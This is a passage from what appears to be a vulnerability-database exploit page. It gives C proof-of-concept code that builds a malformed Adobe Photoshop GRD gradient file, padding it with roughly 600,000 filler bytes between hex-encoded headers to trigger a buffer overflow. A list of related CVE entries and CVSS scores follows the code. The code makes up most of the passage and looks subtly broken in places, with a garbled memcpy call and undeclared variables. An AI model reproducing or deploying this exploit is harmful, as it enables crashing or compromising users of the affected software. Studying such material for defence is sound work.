0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x61, 0x64, 0x4F, 0x62, 0x6A, 0x63, 0x00, 0x00, 0x00, 0x09,
0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x6E, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00,
0x00, 0x00, 0x4E, 0x6D, 0x20, 0x20, 0x54, 0x45, 0x58, 0x54, 0x00, 0x00, 0x00, 0x38, 0x00, 0x24,
0x00, 0x24, 0x00, 0x24, 0x00, 0x2F, 0x00, 0x50, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x65,
0x00, 0x74, 0x00, 0x73, 0x00, 0x2F, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69,
0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2F, 0x00, 0x4E, 0x00, 0x6F, 0x00, 0x69,
0x00, 0x73, 0x00, 0x65, 0x00, 0x53, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6C, 0x00, 0x65,
0x00, 0x73, 0x00, 0x5F, 0x00, 0x67, 0x00, 0x72, 0x00, 0x64, 0x00, 0x2F, 0x00, 0x44, 0x00, 0x65,
0x00, 0x65, 0x00, 0x70, 0x00, 0x53, 0x00, 0x65, 0x00, 0x61, 0x00, 0x3D, 0x00, 0x44, 0x00, 0x65,
0x00, 0x65, 0x00, 0x70, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00, 0x61, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x47, 0x72, 0x64, 0x46, 0x65, 0x6E, 0x75, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72,
0x64, 0x46, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C, 0x4E, 0x73, 0x00, 0x00, 0x00, 0x00, 0x53, 0x68,
0x54, 0x72, 0x62, 0x6F, 0x6F, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0x63, 0x74, 0x43, 0x62,
0x6F, 0x6F, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C, 0x72, 0x53, 0x65, 0x6E, 0x75, 0x6D,
0x00, 0x00, 0x00, 0x00, 0x43, 0x6C, 0x72, 0x53, 0x00, 0x00, 0x00, 0x00, 0x52, 0x47, 0x42, 0x43,
0x00, 0x00, 0x00, 0x00, 0x52, 0x6E, 0x64, 0x53, 0x6C, 0x6F, 0x6E, 0x67, 0x4D, 0x08, 0x3A, 0xBF,
0x00, 0x00, 0x00, 0x00, 0x53, 0x6D, 0x74, 0x68, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x06, 0x66,
0x00, 0x00, 0x00, 0x00, 0x4D, 0x6E, 0x6D, 0x20, 0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00, 0x00, 0x04,
0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00,
0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x4D, 0x78, 0x6D, 0x20, 0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00, 0x00, 0x04,
0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64,
0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64,
0x4F, 0x62, 0x6A, 0x63, 0x00, 0x00, 0x00, 0x09, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64,
0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72,
0x64, 0x6E, 0x00, 0x00, 0x00, 0x01, 0x00 };
char gradif[] = {
0x00, 0x00, 0x00, 0x47, 0x72, 0x61, 0x64, 0x4F, 0x62, // 'SHPA!
0x6A, 0x63, 0x00, 0x00, 0x00, 0x09, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69,
0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x6E,
0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x4E, 0x6D, 0x20, 0x20, 0x54, 0x45, 0x58, 0x54,
0x00, 0x00, 0x00, 0x31, 0x00, 0x24, 0x00, 0x24, 0x00, 0x24, 0x00, 0x2F, 0x00, 0x50, 0x00, 0x72,
0x00, 0x65, 0x00, 0x73, 0x00, 0x65, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2F, 0x00, 0x47, 0x00, 0x72,
0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2F,
0x00, 0x4E, 0x00, 0x6F, 0x00, 0x69, 0x00, 0x73, 0x00, 0x65, 0x00, 0x53, 0x00, 0x61, 0x00, 0x6D,
0x00, 0x70, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x73, 0x00, 0x5F, 0x00, 0x67, 0x00, 0x72, 0x00, 0x64,
0x00, 0x2F, 0x00, 0x52, 0x00, 0x65, 0x00, 0x64, 0x00, 0x73, 0x00, 0x3D, 0x00, 0x52, 0x00, 0x65,
0x00, 0x64, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x46, 0x65, 0x6E,
0x75, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x46, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C,
0x4E, 0x73, 0x00, 0x00, 0x00, 0x00, 0x53, 0x68, 0x54, 0x72, 0x62, 0x6F, 0x6F, 0x6C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x56, 0x63, 0x74, 0x43, 0x62, 0x6F, 0x6F, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00,
0x43, 0x6C, 0x72, 0x53, 0x65, 0x6E, 0x75, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C, 0x72, 0x53,
0x00, 0x00, 0x00, 0x00, 0x52, 0x47, 0x42, 0x43, 0x00, 0x00, 0x00, 0x00, 0x52, 0x6E, 0x64, 0x53,
0x6C, 0x6F, 0x6E, 0x67, 0x6D, 0x5F, 0x9F, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x53, 0x6D, 0x74, 0x68,
0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x04, 0x7B, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x6E, 0x6D, 0x20,
0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00, 0x00, 0x04, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00,
0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00,
0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x78, 0x6D, 0x20,
0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00, 0x00, 0x04, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64,
0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64,
0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x4F, 0x62, 0x6A, 0x63, 0x00, 0x00, 0x00, 0x09,
0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x6E, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x00, 0x47, 0x72, 0x61, 0x64, 0x4F, 0x62, 0x6A, 0x63, 0x00, 0x00, 0x00, 0x09, 0x00, 0x47,
0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x6E, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00,
0x4E, 0x6D, 0x20, 0x20, 0x54, 0x45, 0x58, 0x54, 0x00, 0x00, 0x00, 0x37, 0x00, 0x24, 0x00, 0x24,
0x00, 0x24, 0x00, 0x2F, 0x00, 0x50, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x65, 0x00, 0x74,
0x00, 0x73, 0x00, 0x2F, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65,
0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2F, 0x00, 0x4E, 0x00, 0x6F, 0x00, 0x69, 0x00, 0x73,
0x00, 0x65, 0x00, 0x53, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x73,
0x00, 0x5F, 0x00, 0x67, 0x00, 0x72, 0x00, 0x64, 0x00, 0x2F, 0x00, 0x50, 0x00, 0x61, 0x00, 0x73,
0x00, 0x74, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x73, 0x00, 0x3D, 0x00, 0x50, 0x00, 0x61, 0x00, 0x73,
0x00, 0x74, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72,
0x64, 0x46, 0x65, 0x6E, 0x75, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x46, 0x00, 0x00,
0x00, 0x00, 0x43, 0x6C, 0x4E, 0x73, 0x00, 0x00, 0x00, 0x00, 0x53, 0x68, 0x54, 0x72, 0x62, 0x6F,
0x6F, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0x63, 0x74, 0x43, 0x62, 0x6F, 0x6F, 0x6C, 0x00,
0x00, 0x00, 0x00, 0x00, 0x43, 0x6C, 0x72, 0x53, 0x65, 0x6E, 0x75, 0x6D, 0x00, 0x00, 0x00, 0x00,
0x43, 0x6C, 0x72, 0x53, 0x00, 0x00, 0x00, 0x00, 0x52, 0x47, 0x42, 0x43, 0x00, 0x00, 0x00, 0x00,
0x52, 0x6E, 0x64, 0x53, 0x6C, 0x6F, 0x6E, 0x67, 0x0B, 0xF1, 0x65, 0x37, 0x00, 0x00, 0x00, 0x00,
0x53, 0x6D, 0x74, 0x68, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x04, 0x7B, 0x00, 0x00, 0x00, 0x00,
0x4D, 0x6E, 0x6D, 0x20, 0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00, 0x00, 0x04, 0x6C, 0x6F, 0x6E, 0x67,
0x00, 0x00, 0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67,
0x00, 0x00, 0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4D, 0x78, 0x6D, 0x20, 0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00, 0x00, 0x04, 0x6C, 0x6F, 0x6E, 0x67,
0x00, 0x00, 0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67,
0x00, 0x00, 0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x4F, 0x62, 0x6A, 0x63,
0x00, 0x00, 0x00, 0x09, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65,
0x00, 0x6E, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x6E, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x61, 0x64, 0x4F, 0x62, 0x6A, 0x63, 0x00, 0x00,
0x00, 0x09, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 0x00, 0x6E,
0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x6E, 0x00, 0x00, 0x00, 0x09,
0x00, 0x00, 0x00, 0x00, 0x4E, 0x6D, 0x20, 0x20, 0x54, 0x45, 0x58, 0x54, 0x00, 0x00, 0x00, 0x40,
0x00, 0x24, 0x00, 0x24, 0x00, 0x24, 0x00, 0x2F, 0x00, 0x50, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73,
0x00, 0x65, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2F, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64,
0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2F, 0x00, 0x4E, 0x00, 0x6F,
0x00, 0x69, 0x00, 0x73, 0x00, 0x65, 0x00, 0x53, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6C,
0x00, 0x65, 0x00, 0x73, 0x00, 0x5F, 0x00, 0x67, 0x00, 0x72, 0x00, 0x64, 0x00, 0x2F, 0x00, 0x55,
0x00, 0x6C, 0x00, 0x74, 0x00, 0x72, 0x00, 0x61, 0x00, 0x56, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6C,
0x00, 0x65, 0x00, 0x74, 0x00, 0x3D, 0x00, 0x55, 0x00, 0x6C, 0x00, 0x74, 0x00, 0x72, 0x00, 0x61,
0x00, 0x2D, 0x00, 0x56, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x74, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x46, 0x65, 0x6E, 0x75, 0x6D, 0x00, 0x00, 0x00, 0x00,
0x47, 0x72, 0x64, 0x46, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C, 0x4E, 0x73, 0x00, 0x00, 0x00, 0x00,
0x53, 0x68, 0x54, 0x72, 0x62, 0x6F, 0x6F, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0x63, 0x74,
0x43, 0x62, 0x6F, 0x6F, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C, 0x72, 0x53, 0x65, 0x6E,
0x75, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C, 0x72, 0x53, 0x00, 0x00, 0x00, 0x00, 0x52, 0x47,
0x42, 0x43, 0x00, 0x00, 0x00, 0x00, 0x52, 0x6E, 0x64, 0x53, 0x6C, 0x6F, 0x6E, 0x67, 0x14, 0x03,
0xA7, 0xC9, 0x00, 0x00, 0x00, 0x00, 0x53, 0x6D, 0x74, 0x68, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00,
0x02, 0x3D, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x6E, 0x6D, 0x20, 0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00,
0x00, 0x04, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00,
0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x78, 0x6D, 0x20, 0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00,
0x00, 0x04, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00,
0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00,
0x00, 0x64, 0x4F, 0x62, 0x6A, 0x63, 0x00, 0x00, 0x00, 0x09, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61,
0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x47, 0x72, 0x64, 0x6E, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x61, 0x64,
0x4F, 0x62, 0x6A, 0x63, 0x00, 0x00, 0x00, 0x09, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64,
0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72,
0x64, 0x6E, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x4E, 0x6D, 0x20, 0x20, 0x54, 0x45,
0x58, 0x54, 0x00, 0x00, 0x00, 0x44, 0x00, 0x24, 0x00, 0x24, 0x00, 0x24, 0x00, 0x2F, 0x00, 0x50,
0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x65, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2F, 0x00, 0x47,
0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x73,
0x00, 0x2F, 0x00, 0x4E, 0x00, 0x6F, 0x00, 0x69, 0x00, 0x73, 0x00, 0x65, 0x00, 0x53, 0x00, 0x61,
0x00, 0x6D, 0x00, 0x70, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x73, 0x00, 0x5F, 0x00, 0x67, 0x00, 0x72,
0x00, 0x64, 0x00, 0x2F, 0x00, 0x4E, 0x00, 0x6F, 0x00, 0x69, 0x00, 0x73, 0x00, 0x79, 0x00, 0x53,
0x00, 0x70, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 0x72, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x3D,
0x00, 0x4E, 0x00, 0x6F, 0x00, 0x69, 0x00, 0x73, 0x00, 0x79, 0x00, 0x20, 0x00, 0x53, 0x00, 0x70,
0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 0x72, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x47, 0x72, 0x64, 0x46, 0x65, 0x6E, 0x75, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72,
0x64, 0x46, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C, 0x4E, 0x73, 0x00, 0x00, 0x00, 0x00, 0x53, 0x68,
0x54, 0x72, 0x62, 0x6F, 0x6F, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0x63, 0x74, 0x43, 0x62,
0x6F, 0x6F, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C, 0x72, 0x53, 0x65, 0x6E, 0x75, 0x6D,
0x00, 0x00, 0x00, 0x00, 0x43, 0x6C, 0x72, 0x53, 0x00, 0x00, 0x00, 0x00, 0x52, 0x47, 0x42, 0x43,
0x00, 0x00, 0x00, 0x00, 0x52, 0x6E, 0x64, 0x53, 0x6C, 0x6F, 0x6E, 0x67, 0x79, 0x67, 0x76, 0x8A,
0x00, 0x00, 0x00, 0x00, 0x53, 0x6D, 0x74, 0x68, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x08, 0xF6,
0x00, 0x00, 0x00, 0x00, 0x4D, 0x6E, 0x6D, 0x20, 0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00, 0x00, 0x04,
0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00,
0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x4D, 0x78, 0x6D, 0x20, 0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00, 0x00, 0x04,
0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64,
0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64,
0x4F, 0x62, 0x6A, 0x63, 0x00, 0x00, 0x00, 0x09, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64,
0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72,
0x64, 0x6E, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x61, 0x64, 0x4F, 0x62,
0x6A, 0x63, 0x00, 0x00, 0x00, 0x09, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69,
0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x6E,
0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x4E, 0x6D, 0x20, 0x20, 0x54, 0x45, 0x58, 0x54,
0x00, 0x00, 0x00, 0x4E, 0x00, 0x24, 0x00, 0x24, 0x00, 0x24, 0x00, 0x2F, 0x00, 0x50, 0x00, 0x72,
0x00, 0x65, 0x00, 0x73, 0x00, 0x65, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2F, 0x00, 0x47, 0x00, 0x72,
0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2F,
0x00, 0x4E, 0x00, 0x6F, 0x00, 0x69, 0x00, 0x73, 0x00, 0x65, 0x00, 0x53, 0x00, 0x61, 0x00, 0x6D,
0x00, 0x70, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x73, 0x00, 0x5F, 0x00, 0x67, 0x00, 0x72, 0x00, 0x64,
0x00, 0x2F, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x70, 0x00, 0x61,
0x00, 0x72, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x61, 0x00, 0x73, 0x00, 0x74,
0x00, 0x65, 0x00, 0x6C, 0x00, 0x73, 0x00, 0x3D, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6E,
0x00, 0x73, 0x00, 0x70, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x20,
0x00, 0x50, 0x00, 0x61, 0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x73, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x46, 0x65, 0x6E, 0x75, 0x6D, 0x00, 0x00, 0x00, 0x00,
0x47, 0x72, 0x64, 0x46, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C, 0x4E, 0x73, 0x00, 0x00, 0x00, 0x00,
0x53, 0x68, 0x54, 0x72, 0x62, 0x6F, 0x6F, 0x6C, 0x01, 0x00, 0x00, 0x00, 0x00, 0x56, 0x63, 0x74,
0x43, 0x62, 0x6F, 0x6F, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C, 0x72, 0x53, 0x65, 0x6E,
0x75, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C, 0x72, 0x53, 0x00, 0x00, 0x00, 0x00, 0x52, 0x47,
0x42, 0x43, 0x00, 0x00, 0x00, 0x00, 0x52, 0x6E, 0x64, 0x53, 0x6C, 0x6F, 0x6E, 0x67, 0x05, 0xBF,
0x2A, 0x92, 0x00, 0x00, 0x00, 0x00, 0x53, 0x6D, 0x74, 0x68, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00,
0x08, 0xF6, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x6E, 0x6D, 0x20, 0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00,
0x00, 0x04, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00,
0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x78, 0x6D, 0x20, 0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00,
0x00, 0x04, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00,
0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00,
0x00, 0x64 };
int main(int argc, char *argv[])
{
char sm[605764];
char zumazuma[601010];
memset(zumazuma,0x41,601010);
memcpy(sm,gradih,strlen(gradih));
memcpy(sm+strlen(gradih),zumazuma,strlen(zumazuma));
memcpy(sm+strlen(gradih)+strlen(zumazuma)+gradif,strlen(gradif));
pf = fopen(NAMEFILE,"wb");
if(pf==NULL)
{
perror ("Oops! Can't open file.\n");
}
fwrite(sm,1,sizeof(sm),pf);
fclose(pf);
sleep(1);
printf("\nDone!\n");
return 0;
}
</stdint.h></stdlib.h></string.h></stdio.h></p></body></html>Related
nvd
nvd
CVE-2010-1296
2010-05-27 19:30:01
CVE-2011-2443
2011-10-04 20:55:01
packetstorm
packetstorm
Adobe Photoshop CS4 Extended 11.0 ABR File Handling Remote Buffer Overflow
2010-05-27 00:00:00
Adobe Photoshop CS4 Extended 11.0 ASL File Handling Remote Buffer Overflow
2010-05-27 00:00:00
Adobe Photoshop CS4 Extended 11.0 GRD File Handling Remote Buffer Overflow
2010-05-27 00:00:00
seebug
seebug
Adobe Photoshop CS4 Extended 11.0 ASL File Handling Remote BoF PoC
2010-05-28 00:00:00
exploitpack
exploitpack
openvas
openvas
Adobe Photoshop Multiple Buffer Overflow Vulnerabilities
2010-06-15 00:00:00
Adobe Photoshop Multiple Buffer Overflow Vulnerabilities
2010-06-15 00:00:00
cve
cve
CVE-2010-1296
2010-05-27 19:30:01
CVE-2011-2443
2011-10-04 20:55:01
cvelist
cvelist
CVE-2010-1296
2010-05-27 19:00:00
CVE-2011-2443
2011-10-04 20:00:00
zeroscience
zeroscience
checkpoint_advisories
checkpoint_advisories
prion
prion
Buffer overflow
2010-05-27 19:30:00
Buffer overflow
2011-10-04 20:55:00
exploitdb
exploitdb
9.3 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
7.5 High
AI Score
Confidence
Low
0.174 Low
EPSS
Percentile
96.1%
Related for ZSL-2010-4939